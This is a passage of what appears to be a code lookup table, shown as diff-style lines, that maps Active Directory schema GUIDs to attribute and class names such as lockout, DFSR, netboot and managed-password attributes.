'jpegPhoto', - '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', - 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', - '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', - 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', - 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', - 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', - 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', - 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', - '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', - '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', - 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', - 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', - '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', - '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', - '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', - 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', - 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', - 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', - 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', - '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', - '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', - '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', - 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', - 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', - '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', - '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', - 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', - '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', - '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', - 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', - 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', - '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', - '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', - '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', - 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', - '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', - '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', - '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', - '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', - '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', - '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', - 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', - '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', - 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', - 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', - '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', - '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', - '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', - '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', - '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', - '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', - 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', - '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', - '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', - 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', - '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', - 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', - 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', - 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', - 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', - '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', - 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', - 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', - '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', - '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', - 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', - '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', - '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', - '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', - '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', - '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', - 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', - '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', - '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', - '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', - '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', - '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', - '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', - 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', - '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', - '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', - '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', - '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', - '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', - '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', - 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', - 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', - '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', - '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', - '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', - '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', - 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', - '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', - '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', - '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', - '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', - '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', - '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', - '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', - 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', - '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', - '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', - 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', - 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', - 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', - 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', - 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', - 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', - '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', - 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', - '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', - 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', - 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', - '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', - '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', - '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', - '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', - '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', - 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', - 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', - 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', - 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', - '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', - 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', - 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', - 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', - 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', - 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', - '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', - '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', - 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', - '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', - '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', - 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', - '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', - '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', - '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', - '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', - 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', - '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', - 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', - 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', - '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', - 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', - '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', - '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', - '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', - 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', - 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', - 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', - 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', - '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', - 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', - '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', - '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', - 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', - 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', - 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', - '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', - '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', - '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', - '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', - 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', - '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', - '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', - 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', - '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', - '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', - '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', - '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', - 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', - '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', - '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', - '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', - 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', - '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', - 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', - 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', - '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', - 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', - 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', - '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', - 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', - 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', - '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', - 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', - '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', - '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', - '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', - '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', - 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', - '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', - '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', - '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', - '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', - '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', - 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', - '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', - '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', - 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', - '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', - 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', - 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', - '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', - 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', - 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', - 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', - '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', - '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', - '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', - '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', - 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', - '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', - 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', - 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', - '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', - 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', - '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', - 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', - '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', - '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', - 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', - 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', - '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', - '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', - 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', - 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', - 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', - 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', - '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', - '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', - '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', - 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', - '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', - 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', - 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', - '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', - 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', - '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', - 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', - 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', - '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', - 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', - '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', - 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', - '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', - 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', - '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', - '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', - 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', - 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', - 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', - 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', - 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', - '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', - 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', - 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', - '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', - 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', - 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', - 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', - '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', - 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', - 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', - 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', - 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', - '281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', - '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', - 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', - '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', - 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', - 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', - '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', - 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', - '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', - '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', - 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', - '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', - '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', - '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', - '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', - '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', - 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', - 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', - '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', - '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', - 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', - 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', - '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', - 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', - '6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', - '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', - 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', - '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', - 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', - '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', - 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', - 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', - 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', - 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', - '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', - 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', - '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', - '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', - 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', - 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', - 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', - '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', - 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', - 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', - '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', - 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', - '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', - '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', - 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', - 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', - 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', - 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', - 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', - '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', - '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', - 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', - 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', - '0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', - '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', - 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', - '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', - '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', - 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', - 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', - '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', - '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', - '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', - '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', - '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', - 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', - 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', - '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', - 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', - 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', - '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', - 'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', - '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', - 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', - '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', - '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', - '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', - 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', - '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', - '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', - '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', - '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', - 